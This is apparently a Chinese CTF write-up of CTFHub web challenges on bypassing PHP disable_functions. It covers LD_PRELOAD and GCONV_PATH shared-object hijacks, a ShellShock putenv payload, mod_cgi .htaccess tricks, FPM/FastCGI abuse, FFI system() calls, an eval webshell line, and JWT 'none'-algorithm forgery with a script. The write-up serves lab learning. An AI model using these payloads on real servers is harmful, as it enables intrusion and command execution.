CTFHub之web进阶学习
PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数
ctfhub 动态加载器
linux–>ldd命令的介绍
就是没有x执行程序的权限,然后我们要执行/readflag来拿到flag,这里就用到了linux动态库链接器/加载器ld-linux.so.2
这里我们直接ldd /readflag
列出所需要得动态链接库
然后再/lib64/ld-linux-x86-64.so.2 /readflag
即可获取flag
Linux下gcc命令详解
PHP 的 disabled_functions主要是用于禁用一些危险的函数防止被一些攻击者利用
有四种绕过 disable_functions 的手法:
1.攻击后端组件,寻找存在命令注入的 web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞等等
2.寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼
3.mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制(让特定扩展名的文件直接和php-cgi通信);
4.利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
LD_PRELOAD
LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载,动态库加载的优先级最高,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
简单来说就是LD_PRELOAD指定的动态链接库文件,会在其它文件调用之前先被调用
这句话很重要,解释了为什么我们要有error_log这个函数去触发payload
error_log(error,type,destination,headers):
当type为1时,服务器就会把error发送到参数 destination 设置的邮件地址
做题
我们直接蚁剑连接,执行命令发现是不可以的,因为有限制
作法一
先生成一个hack.c恶意动态链接库文件
#include
#include
#include
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/bmth");
}
使用gcc编译 gcc -shared -fPIC hack.c -o hack.so
虽然报错了,但还是生成了hack.so(不用管),上传到tmp文件夹下,再在www/html下创建bmth.php文件:
putenv("LD_PRELOAD=/tmp/hack.so");
error_log("",1,"","");
?>
再去包含php文件?ant=include(‘bmth.php’);成功生成bmth
本题mail函数无法使用,不然也可以使用mail("","","","");
mail过滤了可以用
error_log('',1) 或者 mb_send_mail('','','') 和
imap_mail("[email protected]","0","1","2","3")(如果 PHP 开启了 imap 模块)
法二
用蚁剑的disable_function插件
连接这个生成的文件,
执行/readflag就可以了,cat /flag 说没权限。。。。tac却可以不知道为啥。。。。。
题目描述:利用PHP破壳完成 Bypass
查看phpinfo() 和上题一样还是没有禁用error_log函数。正常情况下蚁剑已经实现通过ShellShock漏洞,直接拿到shell,但是这题不行。
漏洞原理:
目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
通过putenv来设置环境变量,默认putenv定义的环境变量名必须以PHP_开头。error_log()函数会在执行sh -c -t -i触发payload
手工写入吧,首先创建a.php用来执行命令,test.php存放执行后的flag,使用tac读取flag,访问a.php:
@eval($_REQUEST['ant']);
putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php");
error_log("admin",1);
//mail("admin@localhost","","","","");
?>
CGI:
CGI简单说来便是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言,linux shell,perl,vb等等都可以进行CGI编程.
MOD_CGI:
任何具有MIME类型application/x-httpd-cg
i或者被cgi-script
处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中.
使用linux shell脚本编写的cgi程序便可以执行系统命令.
这个文件是 644 权限,www-data 用户无法通过读文件的形式读到内容, 需要执行拥有 SUID 权限的 tac 命令来获取 flag
.htaccess
Options +ExecCGI
AddHandler cgi-script .xx
#!/bin/bash
echo;whoami;tac /flag;
但是不知道为啥不行啊,500.。。。。。。。。。
插件可以。。。。。。
这里由于FPM默认监听的是9000端口,我们就可以绕过webserver,直接构造fastcgi协议,和fpm进行通信.于是就有了利用 webshell 直接与 FPM通信 来绕过 disable functions.
因为前面我们了解了协议原理和内容,接下来就是使用cgi协议封装请求,通过socket来直接与FPM通信
但是能够构造fastcgi,就能执行任意PHP代码吗?答案是肯定的,但是前提是我们需要突破几个限制:
1.第一个问题
既然是请求,那么SCRIPT_FILENAME就相当的重要,因为前面说过,fpm是根据这个值来执行php文件文件的,如果不存在,会直接返回404,所以想要利用好这个漏洞,就得找到一个已经存在的php文件,好在一般进行源安装php的时候,服务器都会附带上一些php文件,如果说我们没有收集到目标web目录的信息的话,可以试试这种办法.
2.第二个问题
我们再如何构造fastcgi和控制SCRIPT_FILENAME,都无法做到任意命令执行,因为只能执行目标服务器上的php文件.
那要如何绕过这种限制呢? 我们可以从php.ini入手.它有两个特殊选项,能够让我们去做到任意命令执行,那就是auto_prepend_file
auto_prepend_file的功能是在在执行目标文件之前,先包含它指定的文件,这样的话,就可以用它来指定php://input进行远程文件包含了.这样就可以做到任意命令执行了.
3.第三个问题
进行过远程文件包含的小伙伴都知道,远程文件包含有allow_url_include这个限制因素的,如果没有为ON的话就没有办法进行远程文件包含,那要怎末设置呢?
这里,FPM是有设置PHP配置项的KEY-VALUE的,PHP_VALUE可以用来设置php.ini,PHP_ADMIN_VALUE则可以设置所有选项.这样就解决问题了
注意 PHP 版本需要满足:
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 - all versions to date
蚁剑插件
php版本:
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 < 7.3.15 (released 20 Feb 2020)
7.4 < 7.4.3 (released 20 Feb 2020)
蚁剑插件
PHP >= 7.4
开启了 FFI 扩展且 ffi.enable=true
PHP FFI详解
其实用的话,并没有那么复杂,只用声明和调用两步就可以。
首先我们使用 FFI::cdef() 函数在PHP中声明一个我们要调用的这个C库中的函数以及使用到的数据类型,类似如下:
$ffi = FFI::cdef("int system(char* command);"); # 声明C语言中的system函数
这将返回一个新创建的FFI对象,然后使用以下方法即可调用这个对象中所声明的函数:
$ffi ->system("ls / > /tmp/res.txt"); # 执行ls /命令并将结果写入/tmp/res.txt
1.php
<?php
$ffi = FFI::cdef("int system(char* command);");
$ffi ->system("/readflag > /tmp/res.txt");
上传1.php,然后访问执行1.php即可。。。
也可以直接回显,用这个
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami > /tmp/123");
echo file_get_contents("/tmp/123");
@unlink("/tmp/123");
感觉和LD_PRELOAD很像
参考wp
php在执行iconv函数时,实际上是调用glibc中的iconv相关函数,其中一个很重要的函数叫做iconv_open()。
php的iconv函数的第一个参数是字符集的名字,这个参数也会传递到glibc的iconv_open函数的参数中。
下面我们来看一下iconv_open函数的执行过程:
linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件,因此,如果指定了GCONV_PATH的值,iconv_open函数的执行过程会如下:
首先上传gconv-modules文件于/tmp文件夹,其内容如下:
module 自定义字符集名字(大写)// INTERNAL ../../../../../../../../tmp/自定义字符集名字(小写) 2
module INTERNAL 自定义字符集名字(大写)// ../../../../../../../../tmp/自定义字符集名字(小写) 2
再书写hack.c文件:
#include
#include
void gconv() {}
void gconv_init() {
system("/readflag > /tmp/flag");
}
命令执行写在gconv函数里不行,亲试过,不知道为啥不行。。。。。。。。
gcc hack.c -o hack.so -shared -fPIC
将生成的.so文件上传到/tmp。
1.php
<?php
putenv("GCONV_PATH=/tmp/");
iconv("hack", "UTF-8", "whatever");
?>
上传再访问即可。。。。。。。
上面方法,不知道为啥这题不能搞,然后蚁剑还是可以。。。。。。。
蚁剑
一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证。
将secret置空。利用node的jsonwentoken库已知缺陷:当jwt的secret为null或undefined时,jsonwebtoken会采用algorithm为none进行验证
因为alg为none,所以只要把signature设置为空(即不添加signature字段),提交到服务器,token都可以通过服务器的验证
将alg修改为none后,去掉JWT中的signature数据(仅剩header + '.' + payload + '.')
然后提交到服务端即可
这里写一个jwt脚本,需要安装PyJWT
import jwt
payload={
"username": "admin",
"password": "admin",
"role": "admin"
}
token = jwt.encode(payload,algorithm="none",key="")
print(token)